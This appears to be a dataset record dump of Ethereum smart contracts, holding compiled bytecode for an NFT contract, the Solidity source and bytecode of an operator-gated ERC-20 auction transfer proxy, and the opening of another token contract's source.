5190151581526020015b60405180910390f35b3480156102df57600080fd5b506102e861094b565b6040516102ca919061239e565b34801561030157600080fd5b506103386103103660046123b1565b60056020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016102ca565b34801561036957600080fd5b506102976103783660046123f3565b6109d9565b34801561038957600080fd5b5061029761039836600461241d565b610af7565b3480156103a957600080fd5b506103b3600c5481565b6040519081526020016102ca565b3480156103cd57600080fd5b506103b36103dc3660046123b1565b60076020526000908152604090205481565b3480156103fa57600080fd5b5061029761040936600461241d565b610b8f565b34801561041a57600080fd5b506103b360025481565b34801561043057600080fd5b5061029761043f366004612438565b610be0565b34801561045057600080fd5b5061029761045f3660046123b1565b610e1d565b34801561047057600080fd5b506102e8610e7a565b34801561048557600080fd5b506103b37f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad81565b3480156104b957600080fd5b506103b3610e87565b3480156104ce57600080fd5b506102976104dd366004612438565b610ee2565b3480156104ee57600080fd5b506102976104fd3660046123b1565b611020565b34801561050e57600080fd5b506009546103389073ffffffffffffffffffffffffffffffffffffffff1681565b34801561053b57600080fd5b5061033861054a3660046123b1565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b34801561057e57600080fd5b5061029761058d3660046124bd565b61107d565b6102976105a036600461241d565b61081a565b3480156105b157600080fd5b506103b36105c036600461241d565b60036020526000908152604090205481565b3480156105de57600080fd5b506102976105ed366004612510565b6110da565b3480156105fe57600080fd5b506102e861143a565b34801561061357600080fd5b506102976106223660046123b1565b611447565b34801561063357600080fd5b506103b361064236600461241d565b60086020526000908152604090205481565b34801561066057600080fd5b506102e861149d565b34801561067557600080fd5b50610297610684366004612568565b6114aa565b34801561069557600080fd5b506102be6106a43660046123f3565b611541565b3480156106b557600080fd5b506102976106c43660046125a4565b6116bd565b3480156106d557600080fd5b506106e96106e43660046125e9565b611a11565b6040516102ca919061265e565b34801561070257600080fd5b506103b37fdaab21af31ece73a508939fedd476a5ee5129a5ed4bb091f3236ffb45394df6281565b34801561073657600080fd5b506102976107453660046127a2565b611b81565b34801561075657600080fd5b506102976107653660046124bd565b611cac565b34801561077657600080fd5b506102e86107853660046123b1565b611d09565b34801561079657600080fd5b50610297611d9d565b3480156107ab57600080fd5b506102976107ba36600461284d565b611e13565b3480156107cb57600080fd5b506102be6107da366004612899565b600660209081526000928352604080842090915290825290205460ff1681565b34801561080657600080fd5b506102e86108153660046123b1565b611e89565b600c543414610855576040517f70d6b1a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6002546108628282611ea2565b5050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000831614806108f957507f5b5e139f000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b8061094557507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b60008054610958906128cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610984906128cc565b80156109d15780601f106109a6576101008083540402835291602001916109d1565b820191906000526020600020905b8154815290600101906020018083116109b457829003601f168201915b505050505081565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff16338114801590610a3f575073ffffffffffffffffffffffffffffffffffffffff8116600090815260066020908152604080832033845290915290205460ff16155b15610a76576040517fc19f17a900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008281526005602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60095473ffffffffffffffffffffffffffffffffffffffff163314610b48576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60095473ffffffffffffffffffffffffffffffffffffffff163314610855576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff848116911614610c40576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216610c8d576040517f9c8d2cd200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff841614801590610cd7575060008181526005602052604090205473ffffffffffffffffffffffffffffffffffffffff163314155b8015610d14575073ffffffffffffffffffffffffffffffffffffffff8316600090815260066020908152604080832033845290915290205460ff16155b15610d4b576040517fc19f17a900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260036020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019055938616808352848320805460010190558583526005825284832080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169091556004909252848320805490921681179091559251849392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60095473ffffffffffffffffffffffffffffffffffffffff163314610e6e576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610e7781611fe7565b50565b600b8054610958906128cc565b60007f00000000000000000000000000000000000000000000000000000000000000014614610ebd57610eb861210f565b905090565b507f9f01952b90cc866521b06bf6dac2aedb0ef281d874912e8ce3f03c94d5bab01f90565b610eed838383610be0565b73ffffffffffffffffffffffffffffffffffffffff82163b15801590610fe457506040517f150b7a020000000000000000000000000000000000000000000000000000000080825233600483015273ffffffffffffffffffffffffffffffffffffffff858116602484015260448301849052608060648401526000608484015290919084169063150b7a029060a4016020604051808303816000875af1158015610f9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbf9190612920565b7fffffffff000000000000000000000000000000000000000000000000000000001614155b1561101b576040517f9c8d2cd200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505050565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff163314610e6e576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60095473ffffffffffffffffffffffffffffffffffffffff1633146110ce576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61101b600b838361221f565b83421115611114576040517f0819bdcd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008581526004602052604081205473ffffffffffffffffffffffffffffffffffffffff1690611142610e87565b60008881526007602090815260409182902080546001810190915582517f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad8184015273ffffffffffffffffffffffffffffffffffffffff8d1681850152606081018c9052608081019190915260a08082018b90528351808303909101815260c08201909352825192909101919091207f190100000000000000000000000000000000000000000000000000000000000060e083015260e282019290925261010281019190915261012201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0016020604051602081039080840390855afa158015611295573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811661130d576040517f8baa579f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561137c575073ffffffffffffffffffffffffffffffffffffffff80841660009081526006602090815260408083209385168352929052205460ff16155b156113b3576040517f8baa579f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505060008681526005602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8b811691821790925591518993918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a450505050505050565b600a8054610958906128cc565b60095473ffffffffffffffffffffffffffffffffffffffff163314611498576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600c55565b60018054610958906128cc565b33600081815260066020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60008181526004602052604081205473ffffffffffffffffffffffffffffffffffffffff16331461159e576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff83166115eb576040517f9c8d2cd200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b33600081815260036020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01905573ffffffffffffffffffffffffffffffffffffffff8716808452818420805460010190558684526005835281842080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811690915560049093528184208054909316811790925551859391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a450600192915050565b834211156116f7576040517f0819bdcd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000611701610e87565b73ffffffffffffffffffffffffffffffffffffffff88811660008181526008602090815260409182902080546001810190915582517fdaab21af31ece73a508939fedd476a5ee5129a5ed4bb091f3236ffb45394df628184015280840194909452938b166060840152608083019390935260a08083018a90528151808403909101815260c0830190915280519201919091207f190100000000000000000000000000000000000000000000000000000000000060e083015260e282019290925261010281019190915261012201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa158015611857573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166118cf576040517f8baa579f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561193e575073ffffffffffffffffffffffffffffffffffffffff80891660009081526006602090815260408083209385168352929052205460ff16155b15611975576040517f8baa579f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505073ffffffffffffffffffffffffffffffffffffffff8681166000818152600660209081526040808320948a168084529482529182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600190811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050505050565b60608167ffffffffffffffff811115611a2c57611a2c6126de565b604051908082528060200260200182016040528015611a5f57816020015b6060815260200190600190039081611a4a5790505b50905060005b82811015611b7a5760008030868685818110611a8357611a8361293d565b9050602002810190611a95919061296c565b604051611aa39291906129d1565b600060405180830381855af49150503d8060008114611ade576040519150601f19603f3d011682016040523d82523d6000602084013e611ae3565b606091505b509150915081611b5257604481511015611afc57600080fd5b60048101905080806020019051810190611b1691906129e1565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b49919061239e565b60405180910390fd5b80848481518110611b6557611b6561293d565b60209081029190910101525050600101611a65565b5092915050565b611b8c848484610be0565b73ffffffffffffffffffffffffffffffffffffffff83163b15801590611c6f57506040517f150b7a02000000000000000000000000000000000000000000000000000000008082529073ffffffffffffffffffffffffffffffffffffffff85169063150b7a0290611c07903390899088908890600401612a58565b6020604051808303816000875af1158015611c26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4a9190612920565b7fffffffff000000000000000000000000000000000000000000000000000000001614155b15611ca6576040517f9c8d2cd200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b60095473ffffffffffffffffffffffffffffffffffffffff163314611cfd576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61101b600a838361221f565b6060600a8054611d18906128cc565b80601f0160208091040260200160405190810160405280929190818152602001828054611d44906128cc565b8015611d915780601f10611d6657610100808354040283529160200191611d91565b820191906000526020600020905b815481529060010190602001808311611d7457829003601f168201915b50505050509050919050565b60095473ffffffffffffffffffffffffffffffffffffffff163314611dee576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600954611e119073ffffffffffffffffffffffffffffffffffffffff16476121da565b565b60008381526004602052604090205473ffffffffffffffffffffffffffffffffffffffff163314611e70576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000838152600d60205260409020611ca690838361221f565b600d6020526000908152604090208054610958906128cc565b73ffffffffffffffffffffffffffffffffffffffff8216611eef576040517f9c8d2cd200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff1615611f4b576040517fddefae2800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60028054600190810190915573ffffffffffffffffffffffffffffffffffffffff8316600081815260036020908152604080832080549095019094558482526004905282812080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168317905591518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff1680612043576040517f4d5e5fb300000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810190915573ffffffffffffffffffffffffffffffffffffffff8216600081815260036020908152604080832080549095019094558582526004815283822080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169091556005909152838220805490911690559151849291907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60006040516121419190612aa1565b604080519182900382208282018252600183527f31000000000000000000000000000000000000000000000000000000000000006020938401528151928301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b600080600080600085875af190508061101b576040517f23c133f200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b82805461222b906128cc565b90600052602060002090601f01602090048101928261224d57600085556122b1565b82601f10612284578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff008235161785556122b1565b828001600101855582156122b1579182015b828111156122b1578235825591602001919060010190612296565b506122bd9291506122c1565b5090565b5b808211156122bd57600081556001016122c2565b7fffffffff0000000000000000000000000000000000000000000000000000000081168114610e7757600080fd5b60006020828403121561231657600080fd5b8135612321816122d6565b9392505050565b60005b8381101561234357818101518382015260200161232b565b83811115611ca65750506000910152565b6000815180845261236c816020860160208601612328565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6020815260006123216020830184612354565b6000602082840312156123c357600080fd5b5035919050565b803573ffffffffffffffffffffffffffffffffffffffff811681146123ee57600080fd5b919050565b6000806040838503121561240657600080fd5b61240f836123ca565b946020939093013593505050565b60006020828403121561242f57600080fd5b612321826123ca565b60008060006060848603121561244d57600080fd5b612456846123ca565b9250612464602085016123ca565b9150604084013590509250925092565b60008083601f84011261248657600080fd5b50813567ffffffffffffffff81111561249e57600080fd5b6020830191508360208285010111156124b657600080fd5b9250929050565b600080602083850312156124d057600080fd5b823567ffffffffffffffff8111156124e757600080fd5b6124f385828601612474565b90969095509350505050565b803560ff811681146123ee57600080fd5b60008060008060008060c0878903121561252957600080fd5b612532876123ca565b9550602087013594506040870135935061254e606088016124ff565b92506080870135915060a087013590509295509295509295565b6000806040838503121561257b57600080fd5b612584836123ca565b91506020830135801515811461259957600080fd5b809150509250929050565b60008060008060008060c087890312156125bd57600080fd5b6125c6876123ca565b95506125d4602088016123ca565b94506040870135935061254e606088016124ff565b600080602083850312156125fc57600080fd5b823567ffffffffffffffff8082111561261457600080fd5b818501915085601f83011261262857600080fd5b81358181111561263757600080fd5b8660208260051b850101111561264c57600080fd5b60209290920196919550909350505050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b828110156126d1577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc08886030184526126bf858351612354565b94509285019290850190600101612685565b5092979650505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715612754576127546126de565b604052919050565b600067ffffffffffffffff821115612776576127766126de565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b600080600080608085870312156127b857600080fd5b6127c1856123ca565b93506127cf602086016123ca565b925060408501359150606085013567ffffffffffffffff8111156127f257600080fd5b8501601f8101871361280357600080fd5b80356128166128118261275c565b61270d565b81815288602083850101111561282b57600080fd5b8160208401602083013760006020838301015280935050505092959194509250565b60008060006040848603121561286257600080fd5b83359250602084013567ffffffffffffffff81111561288057600080fd5b61288c86828701612474565b9497909650939450505050565b600080604083850312156128ac57600080fd5b6128b5836123ca565b91506128c3602084016123ca565b90509250929050565b600181811c908216806128e057607f821691505b6020821081141561291a577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60006020828403121561293257600080fd5b8151612321816122d6565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18436030181126129a157600080fd5b83018035915067ffffffffffffffff8211156129bc57600080fd5b6020019150368190038213156124b657600080fd5b8183823760009101908152919050565b6000602082840312156129f357600080fd5b815167ffffffffffffffff811115612a0a57600080fd5b8201601f81018413612a1b57600080fd5b8051612a296128118261275c565b818152856020838501011115612a3e57600080fd5b612a4f826020830160208601612328565b95945050505050565b600073ffffffffffffffffffffffffffffffffffffffff808716835280861660208401525083604083015260806060830152612a976080830184612354565b9695505050505050565b600080835481600182811c915080831680612abd57607f831692505b6020808410821415612af6577f4e487b710000000000000000000000000000000000000000000000000000000086526022600452602486fd5b818015612b0a5760018114612b3957612b66565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00861689528489019650612b66565b60008a81526020902060005b86811015612b5e5781548b820152908501908301612b45565b505084890196505b50949897505050505050505056fea26469706673582212207c229106ad7bb3bf5b30d0f25afa09c7a7fc3f762b3f89afd6da4ee3dd6c1c8364736f6c634300080b0033
|
{"success": true, "error": null, "results": {}}
| 4,330 |
0xF672Bb0d4e1F9283c4A938cB93A58827253FBd2c
|
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract OperatorRole is Context {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor () internal {
}
modifier onlyOperator() {
require(isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role");
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
contract OwnableOperatorRole is Ownable, OperatorRole {
function addOperator(address account) public onlyOwner {
_addOperator(account);
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
}
contract AuctionERC20TransferProxy is OwnableOperatorRole {
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator {
require(token.transferFrom(from, to, value), "failure while transferring");
}
function userBalance(IERC20 token, address user) internal returns(uint256) {
return token.balanceOf(user);
}
}
|
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638f32d59b1161005b5780638f32d59b146100e85780639870d7fe146100f0578063ac8a584a14610103578063f2fde38b1461011657610088565b80636d70f7ae1461008d578063715018a6146100b6578063776062c3146100c05780638da5cb5b146100d3575b600080fd5b6100a061009b36600461055e565b610129565b6040516100ad919061082a565b60405180910390f35b6100be610142565b005b6100be6100ce3660046105a2565b6101b9565b6100db610284565b6040516100ad91906107f4565b6100a0610293565b6100be6100fe36600461055e565b6102b7565b6100be61011136600461055e565b6102e7565b6100be61012436600461055e565b610314565b600061013c60018363ffffffff61034116565b92915050565b61014a610293565b61016f5760405162461bcd60e51b815260040161016690610878565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6101c461009b610389565b6101e05760405162461bcd60e51b815260040161016690610858565b6040516323b872dd60e01b81526001600160a01b038516906323b872dd9061021090869086908690600401610802565b602060405180830381600087803b15801561022a57600080fd5b505af115801561023e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506102629190810190610584565b61027e5760405162461bcd60e51b815260040161016690610898565b50505050565b6000546001600160a01b031690565b600080546001600160a01b03166102a8610389565b6001600160a01b031614905090565b6102bf610293565b6102db5760405162461bcd60e51b815260040161016690610878565b6102e48161038d565b50565b6102ef610293565b61030b5760405162461bcd60e51b815260040161016690610878565b6102e4816103d5565b61031c610293565b6103385760405162461bcd60e51b815260040161016690610878565b6102e48161041d565b60006001600160a01b0382166103695760405162461bcd60e51b815260040161016690610888565b506001600160a01b03166000908152602091909152604090205460ff1690565b3390565b61039e60018263ffffffff61049e16565b6040516001600160a01b038216907fac6fa858e9350a46cec16539926e0fde25b7629f84b5a72bffaae4df888ae86d90600090a250565b6103e660018263ffffffff6104ea16565b6040516001600160a01b038216907f80c0b871b97b595b16a7741c1b06fed0c6f6f558639f18ccbce50724325dc40d90600090a250565b6001600160a01b0381166104435760405162461bcd60e51b815260040161016690610848565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6104a88282610341565b156104c55760405162461bcd60e51b815260040161016690610838565b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b6104f48282610341565b6105105760405162461bcd60e51b815260040161016690610868565b6001600160a01b0316600090815260209190915260409020805460ff19169055565b803561013c816108db565b805161013c816108ef565b803561013c816108f8565b803561013c81610901565b60006020828403121561057057600080fd5b600061057c8484610532565b949350505050565b60006020828403121561059657600080fd5b600061057c848461053d565b600080600080608085870312156105b857600080fd5b60006105c48787610548565b94505060206105d587828801610532565b93505060406105e687828801610532565b92505060606105f787828801610553565b91505092959194509250565b61060c816108b1565b82525050565b61060c816108bc565b6000610628601f836108a8565b7f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500815260200192915050565b60006106616026836108a8565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526564647265737360d01b602082015260400192915050565b60006106a96034836108a8565b7f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861815273766520746865204f70657261746f7220726f6c6560601b602082015260400192915050565b60006106ff6021836108a8565b7f526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c8152606560f81b602082015260400192915050565b60006107426020836108a8565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572815260200192915050565b600061077b6022836108a8565b7f526f6c65733a206163636f756e7420697320746865207a65726f206164647265815261737360f01b602082015260400192915050565b60006107bf601a836108a8565b7f6661696c757265207768696c65207472616e7366657272696e67000000000000815260200192915050565b61060c816108d8565b6020810161013c8284610603565b606081016108108286610603565b61081d6020830185610603565b61057c60408301846107eb565b6020810161013c8284610612565b6020808252810161013c8161061b565b6020808252810161013c81610654565b6020808252810161013c8161069c565b6020808252810161013c816106f2565b6020808252810161013c81610735565b6020808252810161013c8161076e565b6020808252810161013c816107b2565b90815260200190565b600061013c826108cc565b151590565b600061013c826108b1565b6001600160a01b031690565b90565b6108e4816108b1565b81146102e457600080fd5b6108e4816108bc565b6108e4816108c1565b6108e4816108d856fea365627a7a7231582011dab443c8a9a027b78b0d31a884fd9e44ae227d6a4a08137eeeac7fce0fa5f56c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {}}
| 4,331 |
0x91074b76db4b7c6c05dd90fd6d36bd48eb5c18cb
|
// SPDX-License-Identifier: evmVersion, MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address deployer, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed deployer, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
